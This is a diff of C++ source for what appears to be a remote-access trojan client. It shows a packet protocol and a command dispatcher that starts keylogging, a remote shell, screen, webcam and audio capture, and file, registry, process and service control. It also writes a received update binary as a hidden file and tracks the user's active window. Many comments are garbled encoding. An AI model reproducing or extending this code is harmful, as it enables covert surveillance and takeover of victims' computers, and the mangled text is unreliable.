m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
||||
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||
|
||||
//50
|
||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
|
||||
PBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];
|
||||
const int bufSize = 512;
|
||||
BYTE buf1[bufSize], buf2[bufSize];
|
||||
PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
|
||||
PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
|
||||
|
||||
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||
|
||||
int iRet = uncompress(DeCompressedBuffer,
|
||||
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (iRet == Z_OK)//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
||||
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
||||
{
|
||||
CBuffer m_DeCompressedBuffer;
|
||||
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
|
||||
ulOriginalLength);
|
||||
|
||||
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||
m_DeCompressedBuffer.GetBufferLength());
|
||||
if (m_DataProcess)
|
||||
m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength);
|
||||
}
|
||||
else{
|
||||
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
||||
m_CompressedBuffer.ClearBuffer();
|
||||
}
|
||||
else
|
||||
throw "Bad Buffer";
|
||||
|
||||
delete [] CompressedBuffer;
|
||||
delete [] DeCompressedBuffer;
|
||||
if (CompressedBuffer != buf1)delete [] CompressedBuffer;
|
||||
if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
|
||||
}
|
||||
else {
|
||||
break; // received data is incomplete
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
}catch(...) { }
|
||||
}catch(...) {
|
||||
m_CompressedBuffer.ClearBuffer();
|
||||
Mprintf("[ERROR] OnServerReceiving catch an error \n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
|
||||
// <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||
// <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
|
||||
{
|
||||
AUTO_TICK(50);
|
||||
assert (ulOriginalLength > 0);
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
|
||||
@@ -242,41 +420,48 @@ int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) /
|
||||
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 <><CEA2><EFBFBD>ṩ
|
||||
//nSize = 436
|
||||
//destLen = 448
|
||||
#if USING_ZLIB
|
||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||
#elif USING_LZ4
|
||||
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
|
||||
#else
|
||||
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
||||
#endif
|
||||
BYTE buf[1024];
|
||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
|
||||
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||
if (iRet != Z_OK)
|
||||
if (Z_FAILED(iRet))
|
||||
{
|
||||
delete [] CompressedBuffer;
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#if !USING_ZLIB
|
||||
ulCompressedLength = iRet;
|
||||
#endif
|
||||
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
||||
CBuffer m_WriteBuffer;
|
||||
|
||||
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, sizeof(m_szPacketFlag));
|
||||
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
|
||||
|
||||
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
|
||||
// 5 4
|
||||
//[Shine][ 30 ]
|
||||
|
||||
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
|
||||
// 5 4 4
|
||||
//[Shine][ 30 ][5]
|
||||
|
||||
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
||||
|
||||
delete [] CompressedBuffer;
|
||||
CompressedBuffer = NULL;
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
|
||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||
//shine[0035][0010][HelloWorld+12]
|
||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
|
||||
MAX_SEND_BUFFER);
|
||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
|
||||
}
|
||||
}
|
||||
|
||||
// 5 2 // 2 2 1
|
||||
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
|
||||
{
|
||||
AUTO_TICK(25);
|
||||
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
||||
const char* Travel = szBuffer;
|
||||
int i = 0;
|
||||
@@ -328,7 +513,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
||||
|
||||
VOID IOCPClient::Disconnect()
|
||||
{
|
||||
std::cout<<"<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||
Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
|
||||
CancelIo((HANDLE)m_sClientSocket);
|
||||
closesocket(m_sClientSocket);
|
||||
@@ -340,8 +525,8 @@ VOID IOCPClient::Disconnect()
|
||||
|
||||
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||
{
|
||||
OutputDebugStringA("======> RunEventLoop begin\n");
|
||||
Mprintf("======> RunEventLoop begin\n");
|
||||
while (m_bIsRunning && bCondition)
|
||||
Sleep(200);
|
||||
OutputDebugStringA("======> RunEventLoop end\n");
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
@@ -9,36 +9,81 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#include <WinSock2.h>
|
||||
#include <Windows.h>
|
||||
#include <MSTcpIP.h>
|
||||
#include "Buffer.h"
|
||||
#include "Manager.h"
|
||||
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#endif
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*8
|
||||
#define MAX_SEND_BUFFER 1024*8
|
||||
#include "Buffer.h"
|
||||
#include "common/commands.h"
|
||||
#include "zstd/zstd.h"
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*32
|
||||
#define FLAG_LENGTH 5
|
||||
#define HDR_LENGTH 13
|
||||
|
||||
enum { S_STOP = 0, S_RUN, S_END };
|
||||
|
||||
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
class IOCPManager {
|
||||
public:
|
||||
virtual ~IOCPManager() {}
|
||||
virtual BOOL IsAlive() const { return TRUE; }
|
||||
virtual BOOL IsReady() const { return TRUE; }
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||||
|
||||
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
if (nullptr == m_Manager) {
|
||||
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD><DCB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, 1<><31><EFBFBD>㹻<EFBFBD><E3B9BB>
|
||||
int i = 0;
|
||||
for (; i < 1000 && !m_Manager->IsReady(); ++i)
|
||||
Sleep(1);
|
||||
if (!m_Manager->IsReady()) {
|
||||
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
if (i) {
|
||||
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
|
||||
}
|
||||
m_Manager->OnReceive(szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
};
|
||||
|
||||
class IOCPClient
|
||||
{
|
||||
public:
|
||||
IOCPClient(bool exit_while_disconnect = false);
|
||||
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||
virtual ~IOCPClient();
|
||||
SOCKET m_sClientSocket;
|
||||
|
||||
CBuffer m_CompressedBuffer;
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
BOOL ConnectServer(char* szServerIP, unsigned short uPort);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||
LOGIN_INFOR tmp = logInfo;
|
||||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||
|
||||
return iRet;
|
||||
}
|
||||
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
||||
return OnServerSending(szBuffer, ulOriginalLength);
|
||||
}
|
||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||
int OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||
|
||||
BOOL IsRunning() const
|
||||
@@ -46,20 +91,26 @@ public:
|
||||
return m_bIsRunning;
|
||||
}
|
||||
|
||||
void SetExit() {
|
||||
m_bIsRunning = FALSE;
|
||||
}
|
||||
|
||||
BOOL m_bIsRunning;
|
||||
BOOL m_bConnected;
|
||||
|
||||
char m_szPacketFlag[FLAG_LENGTH];
|
||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||
|
||||
VOID setManagerCallBack(class CManager* Manager);
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||
|
||||
VOID Disconnect();
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const { return m_bConnected; }
|
||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||
|
||||
public:
|
||||
class CManager* m_Manager;
|
||||
CRITICAL_SECTION m_cs;
|
||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
bool m_exit_while_disconnect;
|
||||
};
|
||||
|
||||
|
||||
@@ -5,22 +5,34 @@
|
||||
#include "stdafx.h"
|
||||
#include "KernelManager.h"
|
||||
#include "Common.h"
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <corecrt_io.h>
|
||||
#include "ClientDll.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
||||
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance)
|
||||
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
|
||||
{
|
||||
m_ulThreadCount = 0;
|
||||
#ifdef _DEBUG
|
||||
m_settings = { 5 };
|
||||
#else
|
||||
m_settings = { 30 };
|
||||
#endif
|
||||
m_nNetPing = -1;
|
||||
}
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
printf("~CKernelManager \n");
|
||||
Mprintf("~CKernelManager begin\n");
|
||||
int i = 0;
|
||||
for (i=0;i<0x1000;i++)
|
||||
for (i=0;i<MAX_THREADNUM;++i)
|
||||
{
|
||||
if (m_hThread->h!=0)
|
||||
if (m_hThread[i].h!=0)
|
||||
{
|
||||
CloseHandle(m_hThread[i].h);
|
||||
m_hThread[i].h = NULL;
|
||||
@@ -30,112 +42,233 @@ CKernelManager::~CKernelManager()
|
||||
}
|
||||
}
|
||||
m_ulThreadCount = 0;
|
||||
Mprintf("~CKernelManager end\n");
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>õ<EFBFBD><C3B5>߳<EFBFBD><DFB3>±<EFBFBD>
|
||||
UINT CKernelManager::GetAvailableIndex() {
|
||||
if (m_ulThreadCount < MAX_THREADNUM) {
|
||||
return m_ulThreadCount;
|
||||
}
|
||||
|
||||
for (int i = 0; i < MAX_THREADNUM; ++i)
|
||||
{
|
||||
if (m_hThread[i].p == NULL) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
||||
{
|
||||
if (size > 32 * 1024 * 1024) {
|
||||
Mprintf("WriteBinaryToFile fail: too large file size!!\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p + 1, "ServerDll.new");
|
||||
if (_access(path, 0)!=-1)
|
||||
{
|
||||
DeleteFileA(path);
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
|
||||
std::string filePath = path;
|
||||
std::ofstream outFile(filePath, std::ios::binary);
|
||||
|
||||
if (!outFile)
|
||||
{
|
||||
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
outFile.write(data, size);
|
||||
|
||||
if (outFile.good())
|
||||
{
|
||||
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
|
||||
}
|
||||
else
|
||||
{
|
||||
Mprintf("Failed to write data to file.\n");
|
||||
outFile.close();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD>
|
||||
outFile.close();
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||
{
|
||||
Mprintf("File created and set to hidden: %s\n", filePath.c_str());
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
IOCPClient *pNew = szBuffer[0] == COMMAND_BYE ? NULL : new IOCPClient(true);
|
||||
m_hThread[m_ulThreadCount].p = pNew;
|
||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||
if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
|
||||
if (!isExit) {
|
||||
Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (!isExit){
|
||||
m_hThread[m_ulThreadCount].p = nullptr;
|
||||
m_hThread[m_ulThreadCount].conn = m_conn;
|
||||
}
|
||||
|
||||
switch(szBuffer[0])
|
||||
{
|
||||
case COMMAND_SHARE:
|
||||
if (ulLength > 2) {
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA: {
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||
if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
break;
|
||||
}
|
||||
case SHARE_TYPE_HOLDINGHANDS:
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case CMD_HEARTBEAT_ACK:
|
||||
if (ulLength > 8) {
|
||||
uint64_t n = 0;
|
||||
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
||||
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
|
||||
std::chrono::system_clock::now()
|
||||
);
|
||||
m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2);
|
||||
}
|
||||
break;
|
||||
case CMD_MASTERSETTING:
|
||||
if (ulLength > sizeof(MasterSettings)) {
|
||||
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
|
||||
}
|
||||
break;
|
||||
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
||||
{
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_TALK:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopTalkManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopShellManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)LoopProcessManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopWindowManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_BYE:
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
BYTE bToken = COMMAND_BYE;// <EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
OutputDebugStringA("======> Bye bye \n");
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
delete pNew;
|
||||
pNew = NULL;
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
Mprintf("======> Client exit \n");
|
||||
break;
|
||||
}
|
||||
|
||||
case SERVER_EXIT:
|
||||
{
|
||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
g_bExit = S_SERVER_EXIT;
|
||||
Mprintf("======> Server exit \n");
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_SPY:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopScreenManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount].user = user;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE :
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopFileManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WEBCAM:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopVideoManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_AUDIO:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopAudioManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_REGEDIT:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopRegisterManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SERVICES:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopServicesManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_UPDATE:
|
||||
{
|
||||
ULONGLONG size=0;
|
||||
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||||
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||||
g_bExit = S_CLIENT_UPDATE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
OutputDebugStringA("======> Error operator\n");
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
delete pNew;
|
||||
pNew = NULL;
|
||||
Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0]));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,24 +12,151 @@
|
||||
#include "Manager.h"
|
||||
#include <vector>
|
||||
|
||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>
|
||||
#define MAX_THREADNUM 0x1000>>2
|
||||
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <iomanip>
|
||||
#include <TlHelp32.h>
|
||||
#include "LoginServer.h"
|
||||
|
||||
class ActivityWindow {
|
||||
public:
|
||||
std::string Check(DWORD threshold_ms = 6000) {
|
||||
auto idle = GetUserIdleTime();
|
||||
BOOL isActive = (idle < threshold_ms);
|
||||
if (isActive) {
|
||||
return GetActiveWindowTitle();
|
||||
}
|
||||
